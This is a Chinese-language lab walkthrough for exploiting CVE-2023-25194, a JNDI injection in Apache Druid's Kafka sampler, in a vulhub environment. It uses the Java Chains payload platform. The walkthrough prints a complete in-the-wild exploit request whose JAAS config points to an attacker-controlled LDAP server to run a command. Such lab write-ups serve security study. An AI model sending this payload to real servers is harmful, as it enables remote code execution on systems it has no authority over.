java-chains的使用&cve-2023-25194
1.环境搭建:
使用vulhub的kafka的环境直接:
docker compose up -d
成功搭建:
2.java-chains的使用
该漏洞是JNDI注入漏洞(已公布),市面上有很多JNID相关的工具,今天主要是java-chains:
Java Chains 是一个 Java Payload 综合生成与利用平台,提供了生成各种 Java Payload 功能,能够用于测试 JNDI 注入、MySQL JDBC 反序列化、JRMP 反序列化等场景
下载官方的jar包:
https://github.com/vulhub/java-chains/releases/latest
部署在服务器上运行,账号是admin,密码在启动日志里:
这里使用JNDI,并且设置好自己的服务器ip启动服务:
3.构造poc
选择字节码(其他的可以自己尝试)然后命令执行:
在下边有想执行的命令:这里随便以 uname -a >> tmp/success
举例
然后生成,用以下在野的poc:
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1405
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://java-chains:50389/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
java-chains替换为自己的IP地址,然后发送请求:
虽然是400但是成功执行了: